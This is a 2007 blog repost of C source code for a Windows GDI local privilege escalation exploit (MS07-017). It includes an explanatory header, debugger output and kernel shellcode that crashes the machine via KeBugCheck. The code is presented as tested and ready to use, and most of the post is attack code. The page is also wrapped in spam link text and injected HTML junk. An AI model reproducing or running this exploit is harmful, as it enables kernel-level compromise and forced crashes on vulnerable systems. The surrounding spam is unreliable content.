青青草原综合久久大伊人导航_色综合久久天天综合_日日噜噜夜夜狠狠久久丁香五月_热久久这里只有精品

elva

MS Windows GDI Local Privilege Escalation Exploit (MS07-017)

#define _WIN32_WINNT 0x0500
#include <windows.h>
#include <shlwapi.h>
#include <stdio.h>

#pragma comment (lib, "user32.lib")
#pragma comment (lib, "gdi32.lib")
#pragma comment (lib, "shlwapi.lib")
#pragma comment (lib, "ntdll.lib")



/*
Here is a sploit for the GDI MS07-017 Local Privilege Escalation, presented during the last blackhat conferences
by Joel Ericksson. Modify the GdiTable of the current process and by calling good API's changean entry of the
win32k's SSDT by 0x2.

before :
lkd> dps bf998300 L 2
bf998300  bf934921 win32k!NtGdiAbortDoc
bf998304  bf94648d win32k!NtGdiAbortPath

after :
lkd> dps bf998300 L 2
bf998300  00000002
bf998304  bf94648d win32k!NtGdiAbortPath

win32k.sys bDeleteBrush (called by DeleteObject)
mov     esi, [edx] ;esi=pKernelInfo
cmp     [esi+4], ebx ; ebx=0, we need [esi+4]>0
mov     eax, [edx+0Ch]
mov     [ebp+var_8], eax
ja      short loc_BF80C1E7 ;jump if [esi+4] > 0

loc_BF80C1E7:
mov     eax, [esi+24h]  ; [esi+24] = addr to hijack (here win32k SSDT)
mov     dword ptr [eax], 2 ; !!!!!

At 0x2 we allocate memory with NtAllocateVirtualMemory and we copy our payload.

Tested on windows xp sp2 french last updates (before MS07-017)

Coded by Ivanlef0u.
http://ivanlef0u.free.fr

ref:
http://www.Mcft.com/technet/security/bulletin/MS07-017.mspx
http://research.eeye.com/html/alerts/zeroday/20061106.html
http://projects.info-pull.com/mokb/MOKB-06-11-2006.html
https://www.blackhat.com/presentations/bh-eu-07/Eriksson-Janmar/Whitepaper/bh-eu-07-eriksson-WP.pdf
http://www.securityfocus.com/bid/20940/info
*/

typedef struct
{
   DWORD pKernelInfo;
   WORD  ProcessID;
   WORD  _nCount;
   WORD  nUpper;
   WORD  nType;
   DWORD pUserInfo;
} GDITableEntry;

typedef enum _SECTION_INFORMATION_CLASS {
SectionBasicInformation,
SectionImageInformation
}SECTION_INFORMATION_CLASS;

typedef struct _SECTION_BASIC_INFORMATION { // Information Class 0
PVOID BaseAddress;
ULONG Attributes;
LARGE_INTEGER Size;
}SECTION_BASIC_INFORMATION, *PSECTION_BASIC_INFORMATION;

extern "C" ULONG __stdcall NtQuerySection(
   IN HANDLE SectionHandle,
   IN SECTION_INFORMATION_CLASS SectionInformationClass,
   OUT PVOID SectionInformation,
   IN ULONG SectionInformationLength,
   OUT PULONG ResultLength OPTIONAL
);

extern "C" ULONG __stdcall NtAllocateVirtualMemory(
   IN HANDLE ProcessHandle,
   IN OUT PVOID *BaseAddress,
   IN ULONG ZeroBits,
   IN OUT PULONG AllocationSize,
   IN ULONG AllocationType,
   IN ULONG Protect
);

typedef LONG NTSTATUS;

#define STATUS_SUCCESS  ((NTSTATUS)0x00000000L)
#define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS)0xC0000004L)

typedef struct _UNICODE_STRING {
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING, *PUNICODE_STRING;

typedef enum _SYSTEM_INFORMATION_CLASS {
SystemModuleInformation=11,
} SYSTEM_INFORMATION_CLASS;

typedef struct _SYSTEM_MODULE_INFORMATION { // Information Class 11
ULONG Reserved[2];
PVOID Base;
ULONG Size;
ULONG Flags;
USHORT Index;
USHORT Unknown;
USHORT LoadCount;
USHORT ModuleNameOffset;
CHAR ImageName[256];
} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;

extern "C" NTSTATUS __stdcall  NtQuerySystemInformation(         
   IN SYSTEM_INFORMATION_CLASS SystemInformationClass,
   IN OUT PVOID SystemInformation,
   IN ULONG SystemInformationLength,
   OUT PULONG ReturnLength OPTIONAL
);

extern "C" ULONG __stdcall RtlNtStatusToDosError(
  NTSTATUS Status
);


// generic kernel payload, reboot the b0x
unsigned char Shellcode[]={
0x60, //PUSHAD
0x55, //PUSH EBP

0x6A, 0x34,
0x5B,
0x64, 0x8B, 0x1B,
0x8B, 0x6B, 0x10,

0x8B, 0x45, 0x3C,
0x8B, 0x54, 0x05, 0x78,
0x03, 0xD5,
0x8B, 0x5A, 0x20,
0x03, 0xDD,
0x8B, 0x4A, 0x18,
0x49,
0x8B, 0x34, 0x8B,
0x03, 0xF5,
0x33, 0xFF,
0x33, 0xC0,
0xFC,
0xAC,
0x84, 0xC0,
0x74, 0x07,
0xC1, 0xCF, 0x0D,
0x03, 0xF8,
0xEB, 0xF4,
0x81, 0xFF, 0x1f, 0xaa ,0xf2 ,0xb9, //0xb9f2aa1f, KEBugCheck
0x75, 0xE1,
0x8B, 0x42, 0x24,
0x03, 0xC5,
0x66, 0x8B, 0x0C, 0x48,
0x8B, 0x42, 0x1C,
0x03, 0xC5,
0x8B, 0x04 ,0x88,
0x03, 0xC5,

0x33, 0xDB,
0xB3, 0xE5,
0x53,
0xFF, 0xD0,

0x5D, //POP EBP
0x61, //POPAD
0xC3 //RET
};   


ULONG GetWin32kBase()
{
   ULONG i, Count, Status, BytesRet;
   PSYSTEM_MODULE_INFORMATION pSMI;
   
   Status=NtQuerySystemInformation(SystemModuleInformation, pSMI, 0, &BytesRet); //allocation length
   if(Status!=STATUS_INFO_LENGTH_MISMATCH)
      printf("Error with NtQuerySystemInformation : 0x%x : %d \n", Status, RtlNtStatusToDosError(Status));
   
   pSMI=(PSYSTEM_MODULE_INFORMATION)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, BytesRet);
   
   Status=NtQuerySystemInformation(SystemModuleInformation, pSMI, BytesRet, &BytesRet);
   
   if(Status!=STATUS_SUCCESS)
      printf("Error with NtQuerySystemInformation : 0x%x : %d \n", Status, RtlNtStatusToDosError(Status));
   
   /*
   The data returned to the SystemInformation buffer is a ULONG count of the number of
   handles followed immediately by an array of
   SYSTEM_MODULE_INFORMATION.
   */
   
   Count=*(PULONG)pSMI;
   pSMI=(PSYSTEM_MODULE_INFORMATION)((PUCHAR)pSMI+4);
   
   for(i=0; i<Count; i++)
   {   
      if(StrStr((pSMI+i)->ImageName, "win32k.sys"))
         return (ULONG)(pSMI+i)->Base;
   }
   
   HeapFree(GetProcessHeap(), HEAP_NO_SERIALIZE, pSMI);
   
   return 0;   
}   



   
ULONG buff[500]={0};
   
int main(int argc, char* argv[])
{
   ULONG i, PID, Status, Old;
   LPVOID lpMapAddress=NULL;
   HANDLE hMapFile=(HANDLE)0x10;
   GDITableEntry *gdiTable;
   SECTION_BASIC_INFORMATION SBI;
   WORD Upr;
   ULONG Size=0x1000;
   PVOID Addr=(PVOID)0x2;
   
   printf("Windows GDI MS07-017 Local Privilege Escalation Exploit\nBy Ivanlef0u\n"
   "http://ivanlef0u.free.fr\n"
   "Be MAD!\n");
   
   //allocate memory at addresse 0x2
    Status=NtAllocateVirtualMemory((HANDLE)-1, &Addr, 0, &Size, MEM_RESERVE|MEM_COMMIT|MEM_TOP_DOWN, PAGE_EXECUTE_READWRITE);
    if(Status)
       printf("Error with NtAllocateVirtualMemory : 0x%x\n", Status);
    else
       printf("Addr : 0x%x OKAY\n", Addr);   
   
   memcpy(Addr, Shellcode, sizeof(Shellcode));
   


    printf("win32.sys base : 0x%x\n", GetWin32kBase());
   
   ULONG Win32kSST=GetWin32kBase()+0x198300; //range between win32k imagebase and it's SSDT
   printf("SSDT entry : 0x%x\n", Win32kSST); //win32k!NtGdiAbortDoc
   
   
   
   HBRUSH hBr;
   hBr=CreateSolidBrush(0);

   Upr=(WORD)((DWORD)hBr>>16);
   printf("0x%x\n", Upr);

   while(!lpMapAddress)
   {
      hMapFile=(HANDLE)((ULONG)hMapFile+1);
      lpMapAddress=MapViewOfFile(hMapFile, FILE_MAP_ALL_ACCESS, 0, 0, 0);
   }

   if(lpMapAddress==NULL)
   {
      printf("Error with MapViewOfFile : %d\n", GetLastError());
      return 0;
   }

   Status=NtQuerySection(hMapFile, SectionBasicInformation, &SBI, sizeof(SECTION_BASIC_INFORMATION), 0);
   if (Status) //!=STATUS_SUCCESS (0)
   {
      printf("Error with NtQuerySection (SectionBasicInformation) : 0x%x\n", Status);
      return 0;
   }

   printf("Handle value : %x\nMapped address : 0x%x\nSection size : 0x%x\n\n", hMapFile, lpMapAddress, SBI.Size.QuadPart);
   gdiTable=(GDITableEntry *)lpMapAddress;
   PID=GetCurrentProcessId();
   
   for (i=0; i<SBI.Size.QuadPart; i+=sizeof(GDITableEntry))
   {
      if(gdiTable->ProcessID==PID && gdiTable->nUpper==Upr) //only our GdiTable and brush
      {   

         printf("gdiTable : 0x%x\n", gdiTable);
         printf("pKernelInfo : 0x%x\n", gdiTable->pKernelInfo);
         printf("ProcessID : %d\n", gdiTable->ProcessID);
         printf("_nCount : %d\n", gdiTable->_nCount);
         printf("nUpper : 0x%x\n", gdiTable->nUpper);
         printf("nType : 0x%x\n", gdiTable->nType );
         printf("pUserInfo : 0x%x\n\n", gdiTable->pUserInfo);
         
         Old=gdiTable->pKernelInfo;
      
         gdiTable->pKernelInfo=(ULONG)buff; //crafted buff
         break;
      }
      gdiTable++;
   }

   if(!DeleteObject(hBr))
      printf("Error with DeleteObject : %d\n", GetLastError());
   else
      printf("Done\n");

   printf("Buff : 0x%x\n", buff);
   memset(buff, 0x90, sizeof(buff));
   
    buff[0]=0x1; //!=0
    buff[0x24/4]=Win32kSST; //syscall to modifY
   buff[0x4C/4]=0x804D7000; //kernel base, just for avoiding bad mem ptr

    if(!DeleteObject(hBr))
      printf("Error with DeleteObject : %d\n", GetLastError());   
      
   gdiTable->pKernelInfo=Old; //restore old value
   
   /*   
   lkd> uf GDI32!NtGdiAbortDoc
   GDI32!NtGdiAbortDoc:
   77f3073a b800100000      mov     eax,1000h
   77f3073f ba0003fe7f      mov     edx,offset SharedUserData!SystemCallStub (7ffe0300)
   77f30744 ff12            call    dword ptr [edx]
   77f30746 c20400          ret     4
   */

   __asm
   {
      mov eax, 0x1000
      mov edx,0x7ffe0300
      call dword ptr [edx]   
   }
   
   return 0;
}

download

posted on 2007-05-08 16:49 葉子 閱讀(792) 評論(0)  編輯 收藏 引用 所屬分類: 網絡安全

青青草原综合久久大伊人导航_色综合久久天天综合_日日噜噜夜夜狠狠久久丁香五月_热久久这里只有精品
  • <ins id="pjuwb"></ins>
    <blockquote id="pjuwb"><pre id="pjuwb"></pre></blockquote>
    <noscript id="pjuwb"></noscript>
          <sup id="pjuwb"><pre id="pjuwb"></pre></sup>
            <dd id="pjuwb"></dd>
            <abbr id="pjuwb"></abbr>
            激情亚洲网站| 久久久久成人精品免费播放动漫| 免费成人黄色片| 国内激情久久| 免播放器亚洲一区| 裸体女人亚洲精品一区| 最近看过的日韩成人| 亚洲大片在线| 免费国产一区二区| 亚洲日本在线观看| 亚洲美女黄色片| 国产精品一二三四| 久久夜色撩人精品| 一本色道久久综合亚洲精品高清| 99re6热只有精品免费观看 | 中文亚洲字幕| 国产美女精品| 欧美不卡视频| 欧美日韩在线一区二区| 欧美亚洲网站| 蜜月aⅴ免费一区二区三区| 99视频在线观看一区三区| 亚洲一区二区三| 亚洲第一精品福利| 亚洲最快最全在线视频| 国产一区二区主播在线| 亚洲人午夜精品免费| 国产精品有限公司| 亚洲国产欧美国产综合一区| 国产精品久久久久久久久借妻| 久久视频一区二区| 欧美日韩在线一区| 久久字幕精品一区| 国产精品a级| 欧美大秀在线观看| 国产欧美一区二区三区在线老狼 | 久久中文字幕一区| 亚洲永久在线观看| 女女同性精品视频| 久久精品中文| 国产精品video| 亚洲国产日韩欧美在线99| 国产精品入口麻豆原神| 最新日韩在线视频| 国产日本欧美一区二区| 亚洲精品视频免费| 亚洲国产成人久久综合| 亚洲欧美中文日韩在线| 在线综合欧美| 免费观看一级特黄欧美大片| 久久综合99re88久久爱| 国产视频一区在线| 99国产精品久久久久久久成人热 | 欧美日本精品在线| 免费成人高清| 国产字幕视频一区二区| 日韩一级免费观看| 91久久在线播放| 久久五月激情| 老牛国产精品一区的观看方式| 欧美午夜精彩| 国产精品99久久久久久www| 日韩午夜精品视频| 欧美激情一区二区三区四区| 免费短视频成人日韩| 黄色在线一区| 欧美一区二区视频免费观看 | 亚洲精品免费看| 久久久亚洲影院你懂的| 久久人人爽爽爽人久久久| 国产精品久久久久久户外露出| 亚洲美洲欧洲综合国产一区| 一区二区av在线| 欧美成人午夜激情| 亚洲国产精品欧美一二99| 最近中文字幕日韩精品| 噜噜噜在线观看免费视频日韩| 欧美成人免费全部观看天天性色| 在线播放视频一区| 久久久噜噜噜久久久| 女人色偷偷aa久久天堂| 亚洲激情视频网站| 欧美精品系列| 亚洲亚洲精品在线观看| 午夜视频久久久久久| 国产日韩欧美三区| 久久天堂国产精品| 亚洲第一狼人社区| 亚洲手机视频| 国产一区二区三区在线免费观看| 欧美在线观看视频一区二区| 亚洲高清视频在线观看| 野花国产精品入口| 国产欧美视频一区二区三区| 六十路精品视频| 夜夜嗨av一区二区三区四季av| 欧美专区一区二区三区| 亚洲黄色毛片| 国产精品午夜在线| 久久深夜福利| 国产精品女主播一区二区三区| 欧美在线视频一区二区三区| 亚洲国产日韩在线一区模特| 午夜在线精品| 亚洲精品免费一二三区| 国产女主播一区二区| 久久精品视频播放| 日韩视频国产视频| 老司机免费视频一区二区三区| 中文在线资源观看网站视频免费不卡 | 亚洲视频精选在线| 激情欧美国产欧美| 国产精品成人国产乱一区| 久久久之久亚州精品露出| 亚洲剧情一区二区| 免费欧美在线视频| 亚洲欧美一区二区三区极速播放| 在线成人性视频| 国产精品一区二区久久久| 欧美激情91| 久久米奇亚洲| 香蕉亚洲视频| 亚洲午夜小视频| 亚洲精选大片| 欧美国产日韩亚洲一区| 久久美女性网| 久久成人av少妇免费| 中日韩视频在线观看| 亚洲精品国产系列| 亚洲第一搞黄网站| 国内精品免费午夜毛片| 国产精品永久| 欧美性淫爽ww久久久久无| 欧美精品久久久久久| 老司机午夜免费精品视频| 欧美在线免费一级片| 亚洲欧美国产va在线影院| 在线一区二区日韩| 99精品视频免费观看| 亚洲精品乱码久久久久久久久| 亚洲高清视频在线观看| 欧美黄色aaaa| 欧美成人第一页| 欧美粗暴jizz性欧美20| 美女网站在线免费欧美精品| 久久色在线播放| 久久综合亚州| 欧美成人午夜免费视在线看片| 蘑菇福利视频一区播放| 欧美va天堂在线| 欧美高清视频在线| 亚洲国产欧美不卡在线观看| 亚洲精品久久久久久久久久久| 亚洲精品国偷自产在线99热| 99国产精品国产精品毛片| 亚洲私人影吧| 午夜欧美大片免费观看| 久久黄色网页| 免费欧美日韩| 欧美日韩免费精品| 国产精品乱人伦中文| 国产一区二区三区久久| 伊人影院久久| 99国产精品久久久久久久成人热 | 亚洲精品一区中文| 一区二区高清视频在线观看| 亚洲一区二区在线| 欧美综合国产| 欧美成人精品h版在线观看| 亚洲激情第一区| 一区二区激情视频| 欧美亚洲三区| 欧美ed2k| 国产农村妇女精品一二区| **性色生活片久久毛片| 一区二区三区www| 欧美专区在线观看| 欧美大片一区| 亚洲在线电影| 麻豆精品网站| 国产精品高清在线| 精品不卡在线| 亚洲性xxxx| 欧美成人免费全部| 亚洲你懂的在线视频| 亚洲欧美视频在线观看视频| 免费观看在线综合色| 国产精品99久久久久久宅男| 久久久久成人精品| 国产精品久久77777| 亚洲国产精品久久久久秋霞不卡| 亚洲香蕉成视频在线观看| 美日韩精品免费观看视频| 亚洲深夜av| 欧美精品九九| 亚洲观看高清完整版在线观看| 欧美亚洲免费在线| 亚洲日本久久| 男人的天堂亚洲在线| 国产一区自拍视频|